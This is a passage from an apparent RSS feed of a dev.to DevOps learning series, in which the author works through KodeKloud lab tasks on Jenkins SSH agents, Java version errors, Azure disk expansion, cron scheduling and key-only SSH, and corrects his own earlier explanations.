&lt;p&gt;The pattern underneath both is the same one from Day 75, arriving by a different route. A thing that is true today, recorded as a thing that is true.&lt;/p&gt;

&lt;p&gt;So here is the Day 76 question. Which of your backups has anyone actually opened?&lt;/p&gt;

&lt;p&gt;Day 76 down. Twenty-four to go.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>jenkins</category>
      <category>azure</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Day 75: A Java Baseline and a Moving Disk</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Sat, 31 Oct 2026 09:00:00 +0000</pubDate>
      <link>https://dev.to/ndcodes/day-75-a-java-baseline-and-a-moving-disk-4oh6</link>
      <guid>https://dev.to/ndcodes/day-75-a-java-baseline-and-a-moving-disk-4oh6</guid>
      <description>&lt;p&gt;Day 75 of DevOps, Day 25 of Azure. Both tasks today punished something I had written down as a fact when it was really a snapshot.&lt;/p&gt;

&lt;p&gt;A Jenkins agent would not start because the Java version on it had been fine until the controller moved past it. And an Azure disk that was &lt;code&gt;sda&lt;/code&gt; before the task was &lt;code&gt;sdb&lt;/code&gt; after it, with a different disk holding the old name.&lt;/p&gt;

&lt;p&gt;One Jenkins task, one Azure task. Attach the app servers to Jenkins as build agents, then expand one disk and add another. The tasks come from the KodeKloud Engineer platform.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 1: Three servers as build agents
&lt;/h2&gt;

&lt;p&gt;The task: attach the three app servers to Jenkins as agents. For the first one, name &lt;code&gt;App_server_1&lt;/code&gt;, label the same, remote root directory &lt;code&gt;/home/tony/jenkins&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: The plugin, and what it is called now
&lt;/h3&gt;

&lt;p&gt;The plugin is SSH Build Agents. It "is formerly known as 'SSH Slaves Plugin'" and was renamed in version 1.31.0, and its plugin ID is still &lt;code&gt;ssh-slaves&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So three names for one thing, which is why searching for any of them lands in the same place. The KodeKloud task uses the old vocabulary, and so does the identifier you would put in a configuration file.&lt;/p&gt;

&lt;p&gt;Its documented scope is almost nothing: it "Allows to launch agents over SSH", using "a Java implementation of the SSH protocol", and it "Requires Jenkins 2.504.1". That is the whole of what its page says about behaviour.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Create the node, and find the fields are undocumented
&lt;/h3&gt;

&lt;p&gt;Name, label, remote root directory, host, credentials, host key verification strategy. Jenkins' Managing Nodes page defines none of them. It does not describe the Remote root directory, the Labels field, the Usage field, or the launch methods, and does not list SSH among them.&lt;/p&gt;

&lt;p&gt;That is the third day running. Day 71 was the Execute shell build step, with no page. Day 72 was String and Choice parameters, with no page. Today it is the entire node configuration form.&lt;/p&gt;

&lt;p&gt;What Jenkins does document is the requirement and the reason for the whole exercise. "An agent can use any operating system that supports Java", and you should "Ensure that you have a java version available on your agent machine". And then, plainly: "running tasks on the built-in node is discouraged for security, performance, and scalability reasons."&lt;/p&gt;

&lt;p&gt;That last line is why this task exists. Days 71 through 74 ran everything on the controller, directly or over ssh from it. This is the day the work moves off the machine Jenkins itself lives on.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: The agent refuses to start
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;java.lang.UnsupportedClassVersionError: hudson/remoting/Launcher has been compiled by a
more recent version of the Java Runtime (class file version 61.0), this version of the
Java Runtime only recognizes class file versions up to 55.0
Agent JVM has terminated. Exit code=1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;tony@stapp01 ~]&lt;span class="nv"&gt;$ &lt;/span&gt;java &lt;span class="nt"&gt;-version&lt;/span&gt;
openjdk version &lt;span class="s2"&gt;"11.0.20.1"&lt;/span&gt; 2023-08-24 LTS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Java 11 on the agent. Installing &lt;code&gt;java-17-openjdk&lt;/code&gt; and relaunching brought it online.&lt;/p&gt;

&lt;p&gt;The fix was right. My explanation of it was wrong in three ways, and the correction is more useful than the fix.&lt;/p&gt;

&lt;p&gt;I had written that Jenkins requires Java 17 "because it is the current Long-Term Support (LTS) version, and its components are compiled to run on it, ensuring better stability".&lt;/p&gt;

&lt;p&gt;Java 17 is not the current LTS release and was not then. Java 21 is a later one, and Jenkins has moved past both: "Beginning with Jenkins 2.555.1, Jenkins requires Java 21 or Java 25 on both the controller JVM and agent JVMs." The same page adds that "With the release of Jenkins 2.555.1, the Java 17 images have been retired."&lt;/p&gt;

&lt;p&gt;The reason Java 17 was required at all is a project decision with a date on it. Jenkins raised its baseline at the 2.463 weekly release in June 2024, announced as "Jenkins requires Java 17 or newer", with 2.462 being "the last weekly release to support Java 11". The requirement covers "agent JVMs (i.e., JVMs running &lt;code&gt;remoting.jar&lt;/code&gt;)" explicitly, and the announcement names this exact failure: "Running a Java 11 agent with a Java 17 controller produces an &lt;code&gt;UnsupportedClassVersionError&lt;/code&gt;."&lt;/p&gt;

&lt;p&gt;And it is not about stability. The agent's JVM cannot load a class file built for a newer JVM than itself, so the agent does not start. Saying Java 17 gives "better stability" implies Java 11 would be worse. Java 11 would be nothing.&lt;/p&gt;

&lt;p&gt;The fix was still correct for this Jenkins: Day 68 established the lab runs 2.541.3, the last LTS release supporting Java 17. Written as a general rule for today, "install Java 17 for Jenkins agents" is already out of date. The general rule is to install whatever the controller's version requires, and to upgrade controller and agents together, agents first.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;Two choices in this node configuration are worth more attention than the Java version.&lt;/p&gt;

&lt;p&gt;The host key verification strategy was set to Non verifying, which I justified as skipping manual trust setup in a lab. Practical, and the strategy names turn out to be undocumented: the plugin's page lists no host key verification options at all.&lt;/p&gt;

&lt;p&gt;What its page does carry is a security advisory, and it is precisely this one: "Man-in-the-middle vulnerability due to missing host key verification", affecting version 1.14 and earlier.&lt;/p&gt;

&lt;p&gt;So the non-verifying strategy is not a missing feature. It is an option to reinstate, per node, the exposure that advisory was issued to fix. Choosing it accepts that anyone who can answer on the agent's address and port can impersonate the agent, and Jenkins will hand over the connection and the credentials used to open it. Which in this task are &lt;code&gt;tony&lt;/code&gt;'s password.&lt;/p&gt;

&lt;p&gt;That is the second choice. The credential here is a username and password, where Days 71 and 74 both set up key-based trust for the same class of connection. The plugin supports SSH keys. A password is a reusable secret sitting in the credential store for no benefit.&lt;/p&gt;

&lt;p&gt;To be fair to the credential store, it is a boundary. Jenkins gives credentials their own permission group, with Credentials/View and Credentials/Update separate from job permissions, so credential access is deliberately not the same as job access. A password in the store is at least behind that line.&lt;/p&gt;

&lt;p&gt;A password typed into a build step is not. That is tomorrow's problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 2: Expand one disk, add another
&lt;/h2&gt;

&lt;p&gt;The task: grow the VM's disk from 32 to 64 GiB, then create a 64 GiB standard HDD named &lt;code&gt;devops-disk&lt;/code&gt; and mount it at &lt;code&gt;/mnt/devops-disk&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: The outage belongs to the OS disk, not the task
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az vm deallocate ...
az disk update &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nv"&gt;$RG&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nv"&gt;$OSDISK&lt;/span&gt; &lt;span class="nt"&gt;--size-gb&lt;/span&gt; 64
az disk create &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nv"&gt;$RG&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; devops-disk &lt;span class="nt"&gt;--size-gb&lt;/span&gt; 64 &lt;span class="nt"&gt;--sku&lt;/span&gt; Standard_LRS
az vm disk attach &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nv"&gt;$RG&lt;/span&gt; &lt;span class="nt"&gt;--vm-name&lt;/span&gt; devops-vm &lt;span class="nt"&gt;--name&lt;/span&gt; devops-disk
az vm start ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I had written that expanding a managed OS disk requires the VM deallocated. Right conclusion, and Microsoft never says it in those words, so it is worth showing how it follows.&lt;/p&gt;

&lt;p&gt;Expanding without downtime is documented, and its scope is explicit: it "Is supported only for data disks." For the path that does not qualify, "the VM must be deallocated." An OS disk is outside the downtime-free feature, so it lands on the deallocation path by elimination rather than by a rule written about OS disks.&lt;/p&gt;

&lt;p&gt;Two things follow that I had not drawn out. The data disk alone could have been expanded with the VM running, so the outage was the OS disk's requirement, not the task's. And &lt;code&gt;deallocate&lt;/code&gt; is not a synonym for &lt;code&gt;stop&lt;/code&gt;: "Stopping the VM with &lt;code&gt;az vm stop&lt;/code&gt; doesn't release the compute resources. To release compute resources, use &lt;code&gt;az vm deallocate&lt;/code&gt;."&lt;/p&gt;

&lt;p&gt;Since the VM had to stop anyway, creating and attaching the data disk in the same window meant one outage covering both halves of the task instead of two.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The reboot did the other two layers, and I overstated how
&lt;/h3&gt;

&lt;p&gt;Day 50's lesson was that a disk has three layers and each needs its own action. After the VM started:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sdb1   63.9G   part /
/dev/root  ext4  62G  1.7G  61G  3% /
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Already grown, with nothing run inside the guest.&lt;/p&gt;

&lt;p&gt;I credited that to cloud-init running &lt;code&gt;growpart&lt;/code&gt; on every boot. The documented claim is narrower and says nothing about every boot: "On Ubuntu 16.x and newer, the root partition of the OS disk and filesystems are automatically expanded to use all free contiguous space on the root disk by cloud-init. A small amount of free space must be available for the resize operation."&lt;/p&gt;

&lt;p&gt;So cloud-init does it, on Ubuntu 16.x and newer, to the root partition of the OS disk, and it needs a little free space. Whether it checks on every boot or only when something changed is not stated.&lt;/p&gt;

&lt;p&gt;The mirror-image reading survives the correction, and it is the part worth keeping:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS allowed an online resize, so no reboot happened, so cloud-init never ran, so the partition and filesystem were manual.&lt;/li&gt;
&lt;li&gt;Azure required a deallocation, and the restart that followed is what expanded them.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The platform constraint supplied the convenience. Which matters, because a data disk expanded with the VM running gets no reboot, and so still needs the filesystem grown by hand.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: The letters moved while I was working
&lt;/h3&gt;

&lt;p&gt;Before this task the OS disk was &lt;code&gt;sda&lt;/code&gt;. After attaching one data disk:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sda   64G                      &amp;lt;- devops-disk, the NEW disk
sdb   64G   sdb1 /             &amp;lt;- the OS disk
sdc    4G   sdc1 /mnt          &amp;lt;- the temporary disk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The OS disk became &lt;code&gt;sdb&lt;/code&gt;, and the new data disk took the name the OS disk used to have.&lt;/p&gt;

&lt;p&gt;Day 8 and Day 50 both warned that device letters are assigned in enumeration order and are not stable. This is that warning arriving. A script written as "format &lt;code&gt;/dev/sda1&lt;/code&gt;" against yesterday's layout would have reformatted the root volume today.&lt;/p&gt;

&lt;p&gt;So the script resolved the device instead of naming it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;DEV&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;readlink&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /dev/disk/azure/scsi1/lun0&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The LUN is the slot on the VM and does not change. The letter is an artefact of enumeration order. And for the persistent mount, the UUID does the same job, because an fstab entry naming &lt;code&gt;/dev/sda1&lt;/code&gt; would, after the next disk change, mount the wrong filesystem or fail the boot.&lt;/p&gt;

&lt;p&gt;Which is the Jenkins half of today in different clothing. &lt;code&gt;sda&lt;/code&gt; meant one disk and now means another. &lt;code&gt;remoting.jar&lt;/code&gt; ran on Java 11 and now will not. Both were true when written down and neither was a stable fact about the system.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;The mount point the task asked for is the thing I would change in real infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/mnt/devops-disk&lt;/code&gt; sits inside &lt;code&gt;/mnt&lt;/code&gt;, and on an Azure Linux VM &lt;code&gt;/mnt&lt;/code&gt; is where the ephemeral temporary disk is mounted. So this is a persistent disk mounted at a path inside a filesystem that gets wiped on deallocation. It works now. After the next stop and start, the directory will not exist on the fresh temporary disk.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nofail&lt;/code&gt; keeps that from blocking the boot, and that is exactly the problem: the data disk may simply not be mounted, and nothing complains. Azure's own fstab line for the temporary disk shows the pattern for this, ordering itself after cloud-init, and the equivalent here would be &lt;code&gt;x-systemd.requires-mounts-for=/mnt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I have not applied it, because the task asked for the mount and the mount is there. But a persistent disk underneath an ephemeral mount point is the wrong shape, and &lt;code&gt;/data&lt;/code&gt; or &lt;code&gt;/srv/devops-disk&lt;/code&gt; at the root avoids the whole question.&lt;/p&gt;

&lt;p&gt;One more number worth knowing before someone asks. The 64 GiB disk reports 63G to the filesystem and 60G available, and both are correct: ext4's metadata takes the first slice and its root reserve takes the second. Three numbers, one disk, nothing wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Everything that broke today was something I had recorded as a fact and that was really a reading at a moment in time.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sda&lt;/code&gt; was the OS disk. Java 11 was sufficient for the agent. Neither statement was wrong when written. Both became wrong without anything on those machines changing: one because a disk was attached, the other because the Jenkins project moved its baseline, twice, and my note about it was already stale when I wrote it down.&lt;/p&gt;

&lt;p&gt;The defence in both cases turned out to be the same, which is what makes it worth noticing. Do not name the thing, resolve it. The disk script asks for LUN 0 and follows the symlink to whatever letter the kernel chose this boot. The agent should take whatever Java the controller's version requires, checked against the controller, rather than the version that worked in a tutorial.&lt;/p&gt;

&lt;p&gt;And the two configuration choices nobody made me justify were the ones carrying actual risk: a host key strategy that reinstates a patched man-in-the-middle vulnerability, and a password where a key would have done.&lt;/p&gt;

&lt;p&gt;So here is the Day 75 question. Which version number or device name is hardcoded in your scripts because it was true the day you wrote them?&lt;/p&gt;

&lt;p&gt;Day 75 down. Twenty-five to go.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>jenkins</category>
      <category>azure</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Day 74: A Key Each Way and a Schedule</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Fri, 30 Oct 2026 18:00:00 +0000</pubDate>
      <link>https://dev.to/ndcodes/day-74-a-key-each-way-and-a-schedule-5991</link>
      <guid>https://dev.to/ndcodes/day-74-a-key-each-way-and-a-schedule-5991</guid>
      <description>&lt;p&gt;Day 74 of DevOps, Day 24 of Azure. Both tasks today were about SSH keys, and specifically about which way round they point.&lt;/p&gt;

&lt;p&gt;A Jenkins job needed one server to be able to reach another. An Azure task started by checking whether a key already existed, and the &lt;code&gt;.ssh&lt;/code&gt; directory turned out to be full of a file that pointed the other way. Same two files, opposite directions, and getting them mixed up produces a setup that looks finished and cannot connect.&lt;/p&gt;

&lt;p&gt;One Jenkins task, one Azure task. Schedule a job that copies Apache logs between servers, then build a VM that only accepts key-based SSH. The tasks come from the KodeKloud Engineer platform.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 1: A job on a six-minute schedule
&lt;/h2&gt;

&lt;p&gt;The task: a freestyle job named &lt;code&gt;copy-logs&lt;/code&gt;, running every six minutes, copying the Apache logs from &lt;code&gt;stapp03&lt;/code&gt; into &lt;code&gt;/usr/src/finance/&lt;/code&gt; on the storage server.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Check the logs are actually there
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;banner@stapp03 ~]&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/httpd/access_log
127.0.0.1 - - &lt;span class="o"&gt;[&lt;/span&gt;-] &lt;span class="s2"&gt;"GET / HTTP/1.1"&lt;/span&gt; 200 -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Boring step, and it is the one that makes everything after it mean something. A scheduled job that copies nothing succeeds, on time, forever. The build goes green, the destination stays empty, and nothing in Jenkins tells you why, because from Jenkins' point of view nothing went wrong.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Key the connection between the two servers
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;banner@stapp03 ~]&lt;span class="nv"&gt;$ &lt;/span&gt;ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; rsa &lt;span class="nt"&gt;-b&lt;/span&gt; 4096
Enter file &lt;span class="k"&gt;in &lt;/span&gt;which to save the key &lt;span class="o"&gt;(&lt;/span&gt;/home/banner/.ssh/id_rsa&lt;span class="o"&gt;)&lt;/span&gt;:

&lt;span class="o"&gt;[&lt;/span&gt;banner@stapp03 ~]&lt;span class="nv"&gt;$ &lt;/span&gt;ssh-copy-id natasha@ststor01
/usr/bin/ssh-copy-id: INFO: 1 key&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; remain to be installed &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;you are prompted now it is to &lt;span class="nb"&gt;install &lt;/span&gt;the new keys
natasha@ststor01&lt;span class="s1"&gt;'s password:
Number of key(s) added: 1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Generated as &lt;code&gt;banner&lt;/code&gt;, not as root, which is why &lt;code&gt;ssh-keygen&lt;/code&gt; offered &lt;code&gt;/home/banner/.ssh/id_rsa&lt;/code&gt;. The identity has to belong to whichever account opens the connection.&lt;/p&gt;

&lt;p&gt;Then one detail in the login banner on the way in, which is worth reading rather than scrolling past:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Last failed login: Sun Apr 12 09:41:57 UTC 2026 from 10.244.81.53 on ssh:notty
There were 2 failed login attempts since the last successful login.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those two failures are &lt;code&gt;ssh-copy-id&lt;/code&gt; probing with the new key before it was installed, which is exactly what its "1 key(s) remain to be installed" message was telling me. Benign here. On a server where you had not just run &lt;code&gt;ssh-copy-id&lt;/code&gt;, two failed logins from another host is something to go and look at.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Let the schedule fire
&lt;/h3&gt;

&lt;p&gt;Six minutes later the build ran on its own, and:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;natasha@ststor01 ~]&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /usr/src/finance/
access_log  error_log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;A six-minute schedule written the obvious way is &lt;code&gt;*/6 * * * *&lt;/code&gt;. Jenkins documents a better form, and the reason is load.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;H&lt;/code&gt; symbol "should be used wherever possible". The example Jenkins gives is a dozen jobs all set to &lt;code&gt;0 0 * * *&lt;/code&gt;, which produces "a large spike at midnight", against &lt;code&gt;H H * * *&lt;/code&gt;, which still runs each job once a day but at a time of its own.&lt;/p&gt;

&lt;p&gt;The part worth knowing is that &lt;code&gt;H&lt;/code&gt; is not random. It is "a hash of the job name, not a random function", so the value "remains stable for any given project". You get spreading without losing reproducibility. For short cycles the documented example is "every fifteen minutes (perhaps at :07, :22, :37, :52)" written as &lt;code&gt;H/15 * * * *&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So &lt;code&gt;H/6 * * * *&lt;/code&gt; is the form for this job. Still every six minutes, but offset within each window by a hash of this job's name, so that this job and the next one somebody writes do not fire in the same instant for the rest of time.&lt;/p&gt;

&lt;p&gt;Jenkins also warns about exactly this kind of schedule: "short cycles such as &lt;code&gt;*/3&lt;/code&gt; or &lt;code&gt;H/3&lt;/code&gt; will not work consistently near the end of most months", because "Hashes are always chosen in the 1-28 range". Worth knowing before a six-minute job becomes load-bearing.&lt;/p&gt;

&lt;h3&gt;
  
  
  One link in the chain I cannot account for
&lt;/h3&gt;

&lt;p&gt;This job needs two hops. The logs are on &lt;code&gt;stapp03&lt;/code&gt;. The destination is &lt;code&gt;ststor01&lt;/code&gt;. The build runs as &lt;code&gt;jenkins&lt;/code&gt; on the Jenkins controller, which is neither machine.&lt;/p&gt;

&lt;p&gt;What I set up and verified is the second hop, &lt;code&gt;stapp03&lt;/code&gt; to &lt;code&gt;ststor01&lt;/code&gt;. What I did not set up anywhere in this task is the first, from the controller to &lt;code&gt;stapp03&lt;/code&gt;. And the job ran on schedule and the files arrived.&lt;/p&gt;

&lt;p&gt;Two explanations fit. The controller may already have been trusted by the app servers from earlier work, since Day 71 keyed &lt;code&gt;jenkins@jenkins&lt;/code&gt; to the storage server and the same thing could have been done to &lt;code&gt;stapp03&lt;/code&gt; on a day my notes do not cover. Or the build did not run on the controller.&lt;/p&gt;

&lt;p&gt;I cannot tell from what I have, so I am recording it as an open question rather than writing in the step that would make the story tidy. Same gap as Day 71, where the build command in my notes could not have produced the result my notes also recorded. Same cause, too: a screenshot shows you a green build, not the chain of trust that let it go green.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 2: A VM that only accepts keys
&lt;/h2&gt;

&lt;p&gt;The task: create an SSH key if one does not already exist, build a VM that trusts it, and prove password-less access works.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: A non-empty .ssh directory is not a key pair
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rw------- 1 root root  562  authorized_keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/root/.ssh/&lt;/code&gt; existed and already had a file in it. No &lt;code&gt;id_rsa&lt;/code&gt;, no &lt;code&gt;id_rsa.pub&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Those two serve opposite directions:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Direction&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;authorized_keys&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Inbound&lt;/td&gt;
&lt;td&gt;Keys allowed to log in to this host&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;id_rsa&lt;/code&gt; and &lt;code&gt;id_rsa.pub&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Outbound&lt;/td&gt;
&lt;td&gt;This host's identity for logging in elsewhere&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The lab seeds &lt;code&gt;authorized_keys&lt;/code&gt; so that I can reach the client machine. It does not give the client machine an identity of its own.&lt;/p&gt;

&lt;p&gt;So "check if a key already exists" has to mean checking for the file the next step needs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /root/.ssh/id_rsa &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"key exists, reusing"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;else &lt;/span&gt;ssh-keygen ... &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Written as "does &lt;code&gt;~/.ssh&lt;/code&gt; exist", or "is it empty", the check finds files, concludes a key is present, and leaves the VM creation with no public key to install.&lt;/p&gt;

&lt;p&gt;Which is the Jenkins half of today from the other end. There, &lt;code&gt;stapp03&lt;/code&gt; needed an outbound identity and &lt;code&gt;ststor01&lt;/code&gt; needed that public key in its inbound list. Two files, two directions. Confuse them and you get a setup that looks complete and cannot connect.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The key size was a downgrade and I did not notice
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; rsa &lt;span class="nt"&gt;-b&lt;/span&gt; 2048 &lt;span class="nt"&gt;-f&lt;/span&gt; /root/.ssh/id_rsa &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;-b 2048&lt;/code&gt; reads like a sensible conservative default. It is not a default, and it is below the real one.&lt;/p&gt;

&lt;p&gt;The ssh-keygen manual gives ed25519 as the default key type, and for RSA, "the minimum size is 1024 bits and the default is 3072 bits". So this command overrode the type to get RSA and then overrode the size downwards, from 3072 to 2048. Omitting &lt;code&gt;-b&lt;/code&gt; entirely would have produced a stronger key than asking for 2048 did.&lt;/p&gt;

&lt;p&gt;Worth putting beside Day 71, three days ago, where I used &lt;code&gt;-t rsa -b 4096&lt;/code&gt; and called 4096 an upgrade from 3072. Same series, same flag, used in opposite directions, and in neither case because I had checked what the default was. The honest conclusion is to omit &lt;code&gt;-b&lt;/code&gt; and take 3072, or omit both flags and take ed25519.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;-N ''&lt;/code&gt; is the flag that makes this password-less: it sets an empty passphrase, and a passphrase-protected key prompts on every connection unless an agent holds it. Real tradeoff rather than a convenience, though. The private key on disk is now the only thing between anyone who can read that file and the VM.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Name the key rather than generating one
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;--ssh-key-values&lt;/span&gt; /root/.ssh/id_rsa.pub
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Earlier tasks used &lt;code&gt;--generate-ssh-keys&lt;/code&gt;, which is documented to "Generate SSH public and private key files if missing" and store them in &lt;code&gt;~/.ssh&lt;/code&gt;. Convenient, and it hides which of the two branches ran.&lt;/p&gt;

&lt;p&gt;Here the first step had already settled the key, so naming it explicitly means the VM gets the key I just checked, with no conditional behaviour in between. Two steps that each do one thing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Password authentication came out disabled
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"PasswordAuthDisabled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the observation that makes the task's title accurate, and it is worth separating from my explanation of it. I had written that creating a Linux VM with a key and no &lt;code&gt;--admin-password&lt;/code&gt; makes Azure set &lt;code&gt;disablePasswordAuthentication: true&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The observation is real. The mechanism is not documented in those terms. The ARM reference describes the property as specifying "whether password authentication should be disabled" and gives no default for it, where neighbouring properties do state theirs. What the CLI does document is &lt;code&gt;--authentication-type&lt;/code&gt;, which "Defaults to password for Windows and SSH public key for Linux".&lt;/p&gt;

